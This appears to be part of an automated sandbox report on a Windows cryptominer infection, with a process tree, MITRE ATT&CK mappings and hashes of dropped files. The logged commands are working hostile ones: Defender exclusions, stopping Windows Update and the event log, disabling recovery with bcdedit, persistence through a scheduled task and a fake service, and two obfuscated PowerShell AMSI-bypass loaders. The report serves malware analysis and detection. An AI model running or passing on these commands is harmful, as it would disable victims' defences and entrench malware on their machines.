C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F9⤵
- Scheduled Task/Job: Scheduled Task
PID:2404
-
-
-
C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe"C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe"8⤵
- Executes dropped EXE
PID:1344 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force9⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart9⤵PID:1316
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart10⤵PID:1048
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc9⤵
- Launches sc.exe
PID:1728
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc9⤵
- Launches sc.exe
PID:3356
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv9⤵
- Launches sc.exe
PID:2544
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits9⤵
- Launches sc.exe
PID:3748
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc9⤵
- Launches sc.exe
PID:1508
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 09⤵
- Power Settings
PID:1272
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 09⤵
- Power Settings
PID:1504
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 09⤵
- Power Settings
PID:1920
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 09⤵
- Power Settings
PID:1940
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe9⤵PID:1604
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "System"9⤵
- Launches sc.exe
PID:2552
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "System" binpath= "C:\ProgramData\System\System32.exe" start= "auto"9⤵
- Launches sc.exe
PID:940
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog9⤵
- Launches sc.exe
PID:4644
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "System"9⤵
- Launches sc.exe
PID:4548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe"9⤵PID:2932
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:852
-
-
-
-
C:\Windows\system32\SearchFilterHost.exe"C:\Windows\system32\SearchFilterHost.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1644
-
-
C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1720
-
-
-
-
-
C:\Windows\system32\netsh.exeC:\Windows\system32\netsh.exe advfirewall firewall add rule name="BlkDoT" dir=out action=block protocol=tcp remoteport=853 enable=yes5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1268
-
-
C:\Windows\system32\reagentc.exeC:\Windows\system32\reagentc.exe /disable5⤵
- Drops file in Windows directory
PID:936
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe /set {default} recoveryenabled No5⤵
- Modifies boot configuration data using bcdedit
PID:1600
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe /set {default} bootstatuspolicy IgnoreAllFailures5⤵
- Modifies boot configuration data using bcdedit
PID:4408
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe /set {bootmgr} displaybootmenu No5⤵
- Modifies boot configuration data using bcdedit
PID:5052
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe /timeout 05⤵
- Modifies boot configuration data using bcdedit
PID:1012
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\jusched\jusched.exeC:\Users\Admin\AppData\Roaming\jusched\jusched.exe1⤵
- Executes dropped EXE
PID:1920
-
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"1⤵
- Executes dropped EXE
PID:3648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OPhwrHhNcVxp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KnEwUyuBgyUzIJ,[Parameter(Position=1)][Type]$oJReCgOPtG)$ARZmuxNlyml=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+[Char](101)+'g'+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+'m'+'o'+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+'e'+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+'e',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+''+[Char](44)+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+''+'t'+''+[Char](111)+'Cla'+[Char](115)+''+'s'+'',[MulticastDelegate]);$ARZmuxNlyml.DefineConstructor('RT'+'S'+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+'a'+[Char](108)+''+'N'+''+'a'+'m'+'e'+','+'H'+''+'i'+''+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$KnEwUyuBgyUzIJ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Man'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$ARZmuxNlyml.DefineMethod(''+[Char](73)+'nv'+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+[Char](114)+'tu'+[Char](97)+'l',$oJReCgOPtG,$KnEwUyuBgyUzIJ).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $ARZmuxNlyml.CreateType();}$LhGgdpFYjCYOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType('M'+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+'.'+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+'2'+''+'.'+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+'v'+''+'e'+'M'+'e'+'t'+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$gUKfwFtDxmYZhc=$LhGgdpFYjCYOh.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+',S'+'t'+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$trTIfFuQeOhUYTtsLrf=OPhwrHhNcVxp @([String])([IntPtr]);$IseLJELHTtHoXTDHIPOXHS=OPhwrHhNcVxp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UEWXiRiiDFT=$LhGgdpFYjCYOh.GetMethod(''+'G'+'e'+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+'d'+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$qZRAYSHwwJtJYP=$gUKfwFtDxmYZhc.Invoke($Null,@([Object]$UEWXiRiiDFT,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+'L'+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$eLLaRQmrCFJClURgb=$gUKfwFtDxmYZhc.Invoke($Null,@([Object]$UEWXiRiiDFT,[Object]('V'+'i'+'r'+'t'+'u'+[Char](97)+'lPro'+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$cqbHWjR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qZRAYSHwwJtJYP,$trTIfFuQeOhUYTtsLrf).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+'l'+'l');$oBywlirGldCzaDAvm=$gUKfwFtDxmYZhc.Invoke($Null,@([Object]$cqbHWjR,[Object](''+[Char](65)+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+''+'f'+''+[Char](101)+'r')));$jBzmJMWdof=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eLLaRQmrCFJClURgb,$IseLJELHTtHoXTDHIPOXHS).Invoke($oBywlirGldCzaDAvm,[uint32]8,4,[ref]$jBzmJMWdof);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$oBywlirGldCzaDAvm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eLLaRQmrCFJClURgb,$IseLJELHTtHoXTDHIPOXHS).Invoke($oBywlirGldCzaDAvm,[uint32]8,0x20,[ref]$jBzmJMWdof);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+''+[Char](84)+'WA'+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+'t'+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
PID:424
-
C:\ProgramData\System\System32.exeC:\ProgramData\System\System32.exe1⤵PID:4992
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:2352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:4864
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1536
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3360
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1304
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1180
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1900
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4740
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
PID:2404
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
PID:2912
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
PID:4224
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
PID:3796
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1840
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:2024
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵PID:1740
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IyWkAUkdsyGT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PpAXkZSYQjLEvx,[Parameter(Position=1)][Type]$orkdydmcjv)$GKwwnqFKAZq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+'e'+''+'d'+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+'d'+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+'e'+''+'d'+''+','+'A'+[Char](110)+''+'s'+''+'i'+'C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'ss',[MulticastDelegate]);$GKwwnqFKAZq.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PpAXkZSYQjLEvx).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+'d');$GKwwnqFKAZq.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+','+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$orkdydmcjv,$PpAXkZSYQjLEvx).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $GKwwnqFKAZq.CreateType();}$XhXkbEMoHyQxe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType('M'+[Char](105)+'cr'+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+'3'+[Char](50)+''+'.'+''+'U'+''+'n'+''+[Char](115)+'af'+'e'+'Na'+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$rDKShadLsNDtSF=$XhXkbEMoHyQxe.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ieiGGkrZGTSQYFhwwLo=IyWkAUkdsyGT @([String])([IntPtr]);$wHAPzSxtYZlXBGOWodStnn=IyWkAUkdsyGT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mernhTIHsib=$XhXkbEMoHyQxe.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+'l'+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+'l')));$GBOgBXazCeEiCf=$rDKShadLsNDtSF.Invoke($Null,@([Object]$mernhTIHsib,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+'A'+'')));$VsrBMmEAEGUIDqhKi=$rDKShadLsNDtSF.Invoke($Null,@([Object]$mernhTIHsib,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$jnJzTqZ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBOgBXazCeEiCf,$ieiGGkrZGTSQYFhwwLo).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$xjtGHNdvuuRfWQrne=$rDKShadLsNDtSF.Invoke($Null,@([Object]$jnJzTqZ,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+'S'+''+'c'+''+'a'+'nB'+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$FOWLipOMcO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VsrBMmEAEGUIDqhKi,$wHAPzSxtYZlXBGOWodStnn).Invoke($xjtGHNdvuuRfWQrne,[uint32]8,4,[ref]$FOWLipOMcO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xjtGHNdvuuRfWQrne,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VsrBMmEAEGUIDqhKi,$wHAPzSxtYZlXBGOWodStnn).Invoke($xjtGHNdvuuRfWQrne,[uint32]8,0x20,[ref]$FOWLipOMcO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+[Char](101)+'r'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
PID:2444
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe
- Size 8.1MB
- SHA256 e86e094c950922c2610f0f3816d3263c590c5b20d08d846fe0a09b85b89de934
- MD5 d5a6f3a1fa08cc9795c013fd282c858a
- SHA1 7d323f4700a2d757a3364acf384093cbaf9f0091
- SHA512 3852d95cecd022e6d13f221b76ffe32e6f43c2e5da1509cd41d15251d36077cb242a812a1cd442ad44b470cedf117e164e91776ac2c2b33c1564ae2e71cdc5cb
- SSDEEP 98304:UaUM0XygR/89zZzjcf0KvDGPZn3Z9FboqId:yxigR/8BtjzaDGPZn3ZPboX
- TLSH T19A868E05A3E40AE4D62BD734C935DF33DBB0BD555334CA4F16A5E28B1F33A848E2A625
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mu1hfow5.mmx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jusched.lnk
- Size 173B
- SHA256 c5a7304c84901f895a8e544a163d835e83f10208959fdb6f09db18f75fc8b7ed
- MD5 4e06e2fcc22393f19128493c46fed2f0
- SHA1 40b86e3fd45dd6f213650637771ba65f4a4fa2c0
- SHA512 e845113d121abae240ebfa3a65f21c917587dcf640c8e7cc10a45997a0e425ac063c3381064fe0803f6ef37ebd38aec38750c449af41456358c675dfd90fb798
- TLSH T12AC0124007EBCF6CE4030372473A174CE1F4ED042B841749C309411D1812104FC19E05
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\SystemTemp\24623428f430\3c3ed4d8.dll
- Size 116KB
- SHA256 621676dd9f617e94a72677f0d58e295302077b0535b75d612354f52dffa086a2
- MD5 52849c40bbd41814901dcc6ca68f92df
- SHA1 9a24ad0cbd19f11f09224049741329a072d71393
- SHA512 edf0608b326c69f4470273c18f50574f776127eb1bca8a917c682a3edf8c9ba853c6f1fc0e230033aa211ffb79ee941c85cc1cb9883b10e05ccda2e881e50b31
- SSDEEP 3072:34fKSwmpvHH25VAXcEYSJJ3tadwOXInCktBUy7qF91tlFlFACNB:34CSnp27AXcjNwOoBhCN
- TLSH T12FC35B6BA2B8C0BBE1768634C8570F159776F8210661DFFF0BA0421A1F637D15D2AB72
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe
- Size 2.7MB
- SHA256 90245f1a83c588643402419d8fe15916fc5348dde89e85a359f6b080321e262e
- MD5 08e9868657289f14b391650fa1ee0efe
- SHA1 253b9892b3eb6b5ddd2b377ca45b20f52b614926
- SHA512 e9855d2eb388f1b5dd378869bef5745306d8baeb119ff8bb11f4424301f94e1e3638546716862f3e57887013450cad197132828859b2d459c53f7879e98e3818
- SSDEEP 49152:H7jGuWkOqGCwu1M22Hbtz1whzBv99AS7n56F22caVIo690T6KqzXZKnCw+23EX:bozpx22Zz1kviEUFcaVIo690+5zJKnxC
- TLSH T185D5335961946ADDC624F93A61354A6068F734ADCFF0A2DBEDC3AF32F46C4E12633160
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemTemp\4c60b49b207e\e8b4ef3b.dll
- Size 103KB
- SHA256 339436ac9c8a578e1926b1dcac78f1a082c2c67786f1234124bc97fb329bc956
- MD5 19161a8992e965227cb73f62ec296849
- SHA1 338f9df499bda8393edbafcc872f8a679096e90f
- SHA512 50f58f4ab0c8c3768f701ef62b2ac7cae91a8cc7d2f52eb7a1b3a79e406e65b5002bf93abdca44301a7629ff2b0f746e051c85ad09446b1b47ad6128485fba10
- SSDEEP 3072:GEzXJjaSuyhjgjVebPw9roFSKvbQRiKIE:3zZjPrcjVeTA3nR
- TLSH T16EA35A5763E600BBE2B78638C5674B45DB72B8564720AFEF0394865A2F237D08D39F21
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemTemp\ab9a66b8bb7f\41f0f8b2.dll
- Size 103KB
- SHA256 e997295f53fb4e7b72a01e5a01587c92f42f887ad9b382f5c3ffc9173469fc51
- MD5 3847aa3d7ab12e18b0819e5e3eac413c
- SHA1 7bcd028de77de2e3953aa2f4b8cb29fecf41667d
- SHA512 ec818f5970519a55ce137442b0cb1b04b8ea24ea83e2930375f23006d9320a30199b749622317035f3ca34f7d62d800b22cba7fe5ac86d70e2a74f39eaa1eb57
- SSDEEP 3072:iB+UAPT6qR2+IuCZj+j5By1IN2GgzskZpgyzfWHDrB7ijPGyuIWC+vmXO/2iePLi:3L6o2NTaj5By6imv
- TLSH T119A35A1B62BA00BBE1778638C8570A0AE772B84557616FEF43A0465E2F273D19D3DF21
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\Recovery\ReAgent.xml
- Size 1KB
- SHA256 fd9fea4b06ecdbf0a27ef983ca4e6cb47e40ad4be2db39c268375443b9bead2a
- MD5 e225b19c88fcc0e9200a7fc71d08131e
- SHA1 79090a56a9599110891b869b2e6eea279068db99
- SHA512 6a9f1f61beb04d2717b143f565b2effbf32629b9bea587c87168d8fb7f7332e8a7abcf7e930f220beb3d767c6f79652cfa8fea9c82fceca15fdd6e36ddb1439f
- TLSH T19621D64681B858B6D7B1D266F0F8BD604A3FF1DD02E08A5CE019F6D3944B4A2879F9B0
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
- Size 4KB
- SHA256 c04cf798dbb6500fd2ff8e91666486f3f026e6b122f67e23d04398c83ec0ae06
- MD5 2ba896bccfee03894a3ff0cc2a1f2b3c
- SHA1 7ac81065e79ddad017278ff2f528c68a4137f8cf
- SHA512 744bb0d91fe59de6980d9defb57a91ef508b4b3e7df70677f32d5a644ddbeeeb8d5f4fade5792573bdd880394accb56cfc38ae09fa0718504edcd3f04cec05d5
- SSDEEP 96:iq4uYqGEo9xx+htzYeqKln0q3qCYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUutzYeqKln0q3qRWq2Iz+wx
- TLSH T11491EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
- MD5 SHA1 SHA512 SSDEEP TLSH